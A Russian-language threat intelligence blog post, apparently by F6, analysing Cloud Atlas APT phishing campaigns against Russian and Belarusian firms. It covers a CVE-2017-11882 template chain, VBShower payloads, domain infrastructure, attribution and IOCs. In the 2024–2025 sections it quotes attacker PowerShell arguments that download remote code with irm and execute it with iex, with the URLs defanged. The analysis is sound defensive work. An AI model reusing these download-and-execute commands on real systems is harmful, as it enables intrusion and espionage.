Полевые испытания: эксперты F6 проанализировали новые атаки группы Cloud Atlas

На протяжении всего 2025 года специалисты F6 фиксируют повышенную активность группировки Cloud Atlas, атакующей  российские и белорусские компании. Особенностью данных атак стало изменение доменных зон, а также эксперименты с вредоносным программным обеспечением, находящимся во вложении фишинговых писем. В новом блоге специалисты F6 проанализировали недавние атаки Cloud Atlas на предприятия из сферы агропромышленного и оборонно-промышленного комплексов.

Cloud Atlas — прогосударственная APT-группа, специализирующаяся на кибершпионаже и краже конфиденциальных данных, активная с 2014 года. Использует сложные многоэтапные атаки с применением собственных загрузчиков и шифрованных каналов связи для скрытного сбора данных.

В середине октября мы зафиксировали очередную атаку Cloud Atlas. Ее целью стало российское предприятие агропромышленного комплекса — группировка рассылала вредоносное вложение с почтового адреса mkrutij@list[.]ru.  Нашим флагманским решением F6 Managed XDRданная атака была успешно остановлена.

В качестве приманки атакующие использовали программу агропромышленного форума «Зерно и масличные 2025: кормовой вектор», который пройдет 30 октября 2025 года в Москве. Вредоносное вложение «Программа Форум Зерно и масличные.doc» действительно содержит программу форума.

Исполнение данного вложения инициирует запуск механизма доставки полезной нагрузки, который, как сообщалось выше, не изменился. В качестве загрузчика по-прежнему выступает doc-файл-приманка, загружающий посредством шаблона  RTF-файл, содержащий эксплойт для уязвимости CVE-2017-11882, который в данном случае загружается по ссылке hxxps://kommando[.]live/us/?legal/terms/trialterms/secno. В результате запуска шаблона и эксплуатации уязвимости происходит загрузка дроппера us.txt по ссылке hxxps://kommando[.]live/us/?secno/achro33, содержащего полезную нагрузку VBShower с С2 hxxps://kommando[.]live/us/?product-kategorie/kosmetik/spezialseifen/instructible.

Это уже не первая атака группы, направленная на предприятия агропромышленного комплекса осенью 2025 года. Так, в ходе аналогичной атаки, зафиксированной в сентябре 2025 года, злоумышленники с использованием электронной почты  glotovao56@yandex[.]ru рассылали письма с темой «Бланк ТЧ» и вредоносным вложением «Бланк ТЧ.doc», запуск которого инициировал цепочку с загрузками RTF-файла regioninvest_net.doc по ссылке hxxps:/regioninvest[.]net?pmmc.html/tubularian и дроппера un67.hta по ссылке hxxps://regioninvest[.]net/tubularian/un67. Полезная нагрузка в дроппере — ВПО VBShower backdoor с C2 hxxps://news-freebase[.]com/categoria/brother/p-touch/1280cb-p-touch-brother-2/appres.

Исследование атаки

В рамках исследования атаки, проводимой группировкой в октябре, специалисты F6 обнаружили два дополнительных файла, связанных с доменом kommando[.]live, которые были загружены на платформу VirusTotal: «Запрос_демографических_данных_предприятий_на_2025_год_для_медицинского_обслуживания.doc» и «Приложение_ Запрос на проведение закупки.doc».

chevron_left

chevron_right

Название и содержание данных файлов, связанное с проведением закупок и сбором данных сотрудников предприятий, позволяет предположить, что целями атаки стали не только предприятия агропромышленного, но и предприятия оборонно-промышленного комплекса России.

В последующем с помощью анализа сетевой инфраструктуры и особенностей файлов специалистами F6 был обнаружен домен atelierdebondy[.]fr, используемый злоумышленниками в качестве удаленного сервера для загрузки шаблона. На момент анализа полезная нагрузка была недоступна.

Стоит отметить, что группа в редких случаях пользуется нетипичными для себя доменными зонами. Такое поведение было замечено в ноябре 2023-го и октябре 2024 года, когда группа использовала домены e-mailing[.]online и jhsdshdkajdhgfyhsfhjshh[.]cfd в атаках на Россию и Беларусь. Как правило, домены, используемые группировкой для атак, находятся в четырех зонах — com, net, org и info. Кроме того, как и в ноябрьской атаке 2023 года, изменилась особенность их использования: в последние несколько лет под каждый этап, где в качестве вложения был doc-загрузчик, использовался отдельный домен.

Пример такой схемы:

1. Один домен для загрузки шаблона и HTA-дроппера;
2. Отдельный C&C в VBShower;
3. Отдельный C&C в PowerShower.

В описанной нами выше октябрьской атаке используются совсем нетипичные доменные зоны, а также один домен, как минимум, на первых двух этапах.

Эксперименты с методами доставки полезной нагрузки

Фиксировать эксперименты, проводимые группировкой, мы начали еще два года назад, и это были не просто изменения, связанные со сменой доменных зон, а эксперименты с методами доставки полезной нагрузки.

Так 16 ноября 2023 года на платформу VirusTotal был загружен zip-архив document.zip, содержащий в себе Batch-файл «document.pdf .cmd».  Данный Batch-файл создает PowerShell-скрипт %TEMP%\temp.ps1 и запускает его с помощью команды:

 powershell -ep bypass -w 01 %TEMP%/temp.ps1 

PowerShell-скрипт temp.ps1 предназначен для запуска с сервера следующей стадии, HTA-файла, дальнейшее исполнение которого будет осуществляться по уже известной нам цепочке.

Подробный анализ данной атаки был рассмотрен в рамках доклада на PHDays 2024.

2024 год

Другие эксперименты мы обнаружили в конце 2024 года: 29 октября и 1 ноября на платформу VirusTotal было загружено два LNK-файла. В обоих случаях при запуске LNK пользователю демонстрируется PDF-документ в качестве приманки и далее выполняется запрос к URL через Invoke-RestMethod с указанием User-Agent «Mozilla/4.0 (»compatible; Windows NT 10.0; MSOffice 16)".  Ответ от сервера будет передан с помощью командлета Invoke-Expression для выполнения PowerShell-команды на компьютере жертвы.

 Arguments: -w Minimized -ep Bypass -nop -c "$h=@{'User-Agent'='Mozilla/4.0 ("compatible; Windows NT 10.0; MSOffice 16)'};irm hxxps://web-digit[.]com/siip.htmlldql.html/siree -Headers $h | iex" 

 Arguments: -w Minimized -ep Bypass -nop -c "$h=@{'User-Agent'='Mozilla/4.0 ("compatible; Windows NT 10.0; MSOffice 16)'};irm hxxps://web-digit[.]com/opinionpfrom=home-ndtv+mainnavgation/transthalamic -Headers $h | iex" 

На момент исследования атак 2024 года удаленный сервер с полезной нагрузкой был недоступен, в связи с чем атрибутировать данную атаку к группировке Cloud Atlas не представилось возможным, несмотря на использование паттерна URL, который совпадал с предыдущими атаками группы.

Продолжение экспериментов и атрибуция

2025 год

В июле 2025 года на платформу VirusTotal были загружены два аналогичных LNK-файла, которые совпадали с экземплярами, загруженными в конце 2024 года. В качестве удаленного сервера использовался домен istochnik[.]org. Атакующие практически не вносили изменения в команды, за исключением добавления строки ms-office; в поле User-Agent. Помимо этого в результате исполнения команды ответ от сервера будет передан в качестве явного параметра функции для снижения обнаружения детектирующими правилами.

 Arguments: -w Minimized -ep Bypass -nop -c "ieX(irm hxxps://istochnik[.]org/male-infertility/isoflor -UserAgent  'Mozilla/4.0 (compatible; Windows NT 10.0; ms-office; MSOffice 16)')          " 

 Arguments: -w Minimized -ep Bypass -nop -c "ieX(irm hxxps://istochnik[.]org/spis.html/choanoflagellidae -UserAgent  'Mozilla/4.0 (compatible; Windows NT 10.0; ms-office; MSOffice 16)')          " 

chevron_left

chevron_right

В обоих случаях полезная нагрузка была недоступна, поэтому мы приступили к более детальному изучению инфраструктуры.

Анализ инфраструктуры позволил сделать вывод, что за атакой с использованием вышеуказанных LNK с высокой степенью уверенности стоит APT-группа Cloud Atlas.

Мы провели корреляцию, использовав 3 группы:

1. Группа доменов, связанных с web-digit[.]com;
2. Группа доменов, связанных с istochnik[.]org;
3. Группа доменов, связанных с доменами из первой и второй группы.

Выводы

Таким образом, проведенный анализ атак группировки Cloud Atlas показывает разнообразный подход в использовании инфраструктуры, связанный с переходом на другие доменные зоны, а также позволяет рассмотреть различные загрузчики, используемые группировкой при проведении атак, что свидетельствует о высокой степени адаптивности группировки.

В свою очередь, сохранение ряда неизменных TTPs и эксплуатация давно известных уязвимостей указывает на эффективность атак, проводимых группировкой за счет наличия незащищенных или слабо поддерживаемых ресурсов, а также человеческого фактора.

Совокупность указанных обстоятельств делают Cloud Atlas высокоэффективной угрозой для информационной безопасности организаций.

Адреса отправителей:

mkrutij@list[.]ru

glotovao56@yandex[.]ru

Домены:

kommando[.]live

atelierdebondy[.]fr